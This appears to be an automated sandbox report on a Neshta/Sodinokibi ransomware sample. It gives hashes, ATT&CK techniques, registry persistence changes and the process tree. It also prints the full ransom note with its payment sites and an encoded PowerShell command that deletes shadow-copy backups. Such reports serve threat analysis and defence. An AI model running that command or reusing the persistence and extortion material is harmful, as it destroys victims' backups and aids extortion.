neshta | 486a7dd8a65128960ef6c89c4143f0edbf7fab0f8f07045328ad6675cd1d870f

Analysis

max time kernel
151s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
15/05/2024, 02:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
Size 207KB
Sample240515-c81agadh88
SHA256 486a7dd8a65128960ef6c89c4143f0edbf7fab0f8f07045328ad6675cd1d870f
MD5 443a3653113457b08fa41ce46eb3b677
SHA1 c6ebcf8ed468511153c741d8d58fad07beab7048
SHA512 bd7ca0759441b3168d78039962f76f5fd61fb9ef985d328f58dbe56b73a949004182fe9dcd1103766198498b4349e7160e8f875d12a40dce81926484bd31bfc4
SSDEEP 3072:sr85CIyy2RjLTuVyu7CJDgoMT3QG9BEJfMt0HzLFrb30BRtBZZg+i2v:k9ny2RsQJ8zgG9jt0HJ0BXScv
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

neshta sodinokibi persistence ransomware spyware stealer

Malware Config

Extracted

Path

C:\Recovery\1d28m93q-readme.txt

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 1d28m93q. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/922332A1456CFA86 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/922332A1456CFA86 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: ZceL4ire24gWjrdNwMf+ACHTOOc5eVBf+eveplkUD+4/+jg325V4dRjOBSyfMjrA rRP46NKBF8caPeNMkwlegG9bQVlkxhJx5WOIkgXorpPgabnqBXhxTNI7rpNhCK6l vNqPu7NJhIo5WZ/HJq0dYX7/IAhsxf9lBUkh+9rrRrEGPQCZ+t0LQkbmsdHtzbKV 5DDepSomG4tf5oGoUPEOZwpS3pWtW8zT+fn+PTPwha2cWsT/In9Bthw+qPdvcXQu I2xorSrTMTIB//fPLeF2h6+3aQvFR2YvUV21F7600cyd0d6xSgfPrmJmhQKP4GiC 4Gn9bE26C1OHEeI3Y+kPDFHDLMfVU6w9N6teQ7KsTuh4EE0Ilqz6bLHOXF3NOLH+ IfxpEuNtOTz4XqGBdxZmnaeS3l9270hObcJB+7LKu34UONsfxNfLxcVqmylb3mTD a68iKQe6K8CY0cWRsCBslbD20cPcQwH1N750miHtEmezmE/81AKH+B1tUN85ERFr c/jZEQaN9N6LvvpJLxaeDPrXiptwRFFRo0B7JbfVBeHbCyi6YT1/p+bgDe5kQZsJ ZqY0v50UET0yYpbZNhwLuiDggIzsY/AkCe2bgqY0trlukE+uKExuAuEZAbZqUGuB 9TCslR7NAn3N+FW4Weh4sfzBJGzqQ93lEqJdHatlyyenQxYQ2jekTWblauLHTshm ZE2QBBBGGtegN8LCh8fQdMz7KdpEf7t6VIZo63Nrof4hPNlwOnDXsgSR838KyNdW rDk2/kTZ0Va5cXHMJwTjS3zkHTl4fa8QvXuU/70dXnusclM9gfoA8MWDRFQDHOiz XpzTUWutoLZv6o9H5GLSp1GT7JyzJXPdkNDYx06cVp1HS4BPwXpQgNZOmGf6rot5 XDvPG+pPFZMuvQ51k0o6xfB1f1xUUaHR5rn8Lpl4oI3s36u8cJwxF2XvL2qhzddb nMlANJtRJL33DmPnShEikTCTAat++D96Nux5mYC0UJ935+ZqaEGVQEfn3aRHUG3W qxyjiRE+eUtgozDehLYW22B5IWsHkSNII0uQ4baANzBRCACtH3g86TmPeDly8ooq tREBOk3a0tcLggn9X+pWi9zMph269hPBNhh3r/UEM1vmrl8cEVES8dB2N378Cpa8 WnWL+jOESWLnG/gMDfxTWHkh5MJVLkrrY8Uwoou3MEM9AUNf1Fus71H8Nr10hW1v ezDdb3FGch15Uj4ssiTMukIkCogjRA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/922332A1456CFA86
http://decryptor.cc/922332A1456CFA86

Signatures

Detect Neshta payload 16 IoCs

resource	yara_rule
behavioral2/memory/3420-10-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-377-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/files/0x000600000002004d-380.dat	family_neshta
behavioral2/memory/3420-462-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-485-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-486-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-488-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-489-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-490-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-491-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-493-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-494-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-495-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-496-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-497-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta
behavioral2/memory/3420-498-0x0000000000400000-0x000000000041B000-memory.dmp	family_neshta

Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
persistence spyware neshta
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Executes dropped EXE 1 IoCs

pid	Process
2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Modifies system executable filetype association 2 TTPs 1 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\k51299BQXH = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3582-490\\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe"	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\T:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\X:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\F:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\H:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\J:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\Q:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\M:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\U:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\V:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\L:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\Y:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\D:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\E:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\I:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\R:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\O:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\S:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\A:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\K:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\N:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\W:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\B:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\G:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\P:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened (read-only)	\??\Z:	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\8q9q8x10.bmp"	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\DebugRead.css	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\setup_wm.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DebugPush.wav	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ExtExport.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\Adobe\Setup\{AC76B~1\setup.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnpublishRequest.MTS	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\Eula.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\122023~1.52\msedgewebview2.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\MICROS~1\CLICKT~1\{9AC08~1\INTEGR~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WaitRename.vssx	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\plug_ins\PI_BRO~1\32BITM~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmprph.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AddAssert.wmx	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StepDisable.vbs	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExpandUnblock.wvx	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaws.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoConvertTo.mp2v	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\arh.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DismountConvertFrom.dwg	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\122023~1.52\msedge_proxy.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{17316~1\WINDOW~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressUse.M2V	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToReset.mp3	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroCEF\RdrCEF.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\java.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockDisconnect.wav	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasureTest.ppt	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.17\MICROS~4.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.17\MI391D~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmlaunch.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DebugWatch.sql	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOF5E2~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\EDGEUP~1\13185~1.17\MICROS~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PingConvertTo.i64	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\PWAHEL~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{4D8DC~1\VC_RED~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~2\wab.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{57A73~1\VC_RED~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADelRCP.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WI8A19~1\ImagingDevices.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\FULLTR~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\EnableUninstall.ppsx	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UninstallHide.pub	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UndoApprove.mpe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Adobe\ACROBA~1\Reader\ADOBEC~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\ARM\1.0\AdobeARM.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\122023~1.52\msedge.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\122023~1.52\notification_click_helper.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpshare.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ProtectWatch.ram	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Java\JAVAUP~1\jucheck.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\COMMON~1\Oracle\Java\javapath\javaw.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\MICROS~1\Edge\APPLIC~1\MSEDGE~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~2\WINDOW~4\wmpconfig.exe	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\svchost.com	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
4068	powershell.exe
4068	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
Token: SeDebugPrivilege	4068	powershell.exe
Token: SeBackupPrivilege	5052	vssvc.exe
Token: SeRestorePrivilege	5052	vssvc.exe
Token: SeAuditPrivilege	5052	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3420 wrote to memory of 2788	3420	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe	92
PID 3420 wrote to memory of 2788	3420	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe	92
PID 3420 wrote to memory of 2788	3420	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe	92
PID 2788 wrote to memory of 4068	2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe	93
PID 2788 wrote to memory of 4068	2788	443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe	93

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies system executable filetype association
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Users\Admin\AppData\Local\Temp\3582-490\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\3582-490\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Enumerates connected drives
  - Sets desktop wallpaper using registry
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4068

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1056

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5052

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3096 --field-trial-handle=2284,i,15722001240173834669,15048020084704567542,262144 --variations-seed-version /prefetch:8
1⤵
PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

AcroRd32.exe

Path C:\PROGRA~2\Adobe\ACROBA~1\Reader\AcroRd32.exe
Size 2.4MB
SHA256 8268d3fefe8ca96a25a73690d14bacf644170ab5e9e70d2f8eeb350a4c83f9f6
MD5 8ffc3bdf4a1903d9e28b99d1643fc9c7
SHA1 919ba8594db0ae245a8abd80f9f3698826fc6fe5
SHA512 0b94ead97374d74eaee87e7614ddd3911d2cf66d4c49abbfd06b02c03e5dd56fd00993b4947e8a4bcd9d891fa39cab18cc6b61efc7d0812e91eb3aea9cd1a427
SSDEEP 49152:oTfiUEWo6zuEz439z99akTBc4O8b8ITDnlT4NvJX:oTfiG/nzU90T
MD5 SHA1 SHA512 SSDEEP

Submit Download

1d28m93q-readme.txt

Path C:\Recovery\1d28m93q-readme.txt
Size 6KB
SHA256 0dd940442ad15c601ab4b4449c0da8e23ed5d5ac8ee18f07204f4e686bfefab4
MD5 2403dc9f9ccdb3ed0d13fcba01cfe2dc
SHA1 fe05d0f6cc99a3b51f69df8d3c291821d2f321c1
SHA512 8cb5578a6efe93273547c102538de498f3b093286f5f5acec2c052abb15bd9f397328ac227899ede092e9b2d0e1178b1929b93e4c9c6c2df390a25ecdee1ee1b
SSDEEP 96:GLsiNsgCxU3TPbLd94JShlJkepTOqLlw/N4rfd9PrR5u:GLsQ3jNyJCgeNOqLY4rnDW
MD5 SHA1 SHA512 SSDEEP

Submit Download

443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe

Path C:\Users\Admin\AppData\Local\Temp\3582-490\443a3653113457b08fa41ce46eb3b677_JaffaCakes118.exe
Size 166KB
SHA256 42c28feb23c992a350673d63413bf11bc816d00a079462ab524934219d46430d
MD5 43e9093ffc8dd69985a9ae65b26f5551
SHA1 7b268ff84e824ddcd8b7df3cf9993be012489d01
SHA512 118d879750d0456f5b2e31818815ef9465fb40eac24f4784236c626d2a2e753b5a85ec5b2c66a755b10855c9caaf77bd85b6b3d1fc7003fb029cb703ead9037c
SSDEEP 3072:1LFrb30BRtBZZg+i2ayy2RjLTuVyu7CJDgoMT3QG9BEJfMt0H:ZJ0BXScFy2RsQJ8zgG9jt0
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_n4344o55.wah.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n4344o55.wah.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/3420-493-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-486-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-498-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-497-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-496-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-377-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-495-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-462-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-485-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-494-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-488-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-489-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-490-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-491-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/3420-10-0x0000000000400000-0x000000000041B000-memory.dmp

Download

memory/4068-22-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Download

memory/4068-11-0x00007FF984463000-0x00007FF984465000-memory.dmp

Download

memory/4068-17-0x00000217DFBB0000-0x00000217DFBD2000-memory.dmp

Download

memory/4068-26-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Download

memory/4068-23-0x00007FF984460000-0x00007FF984F21000-memory.dmp

Download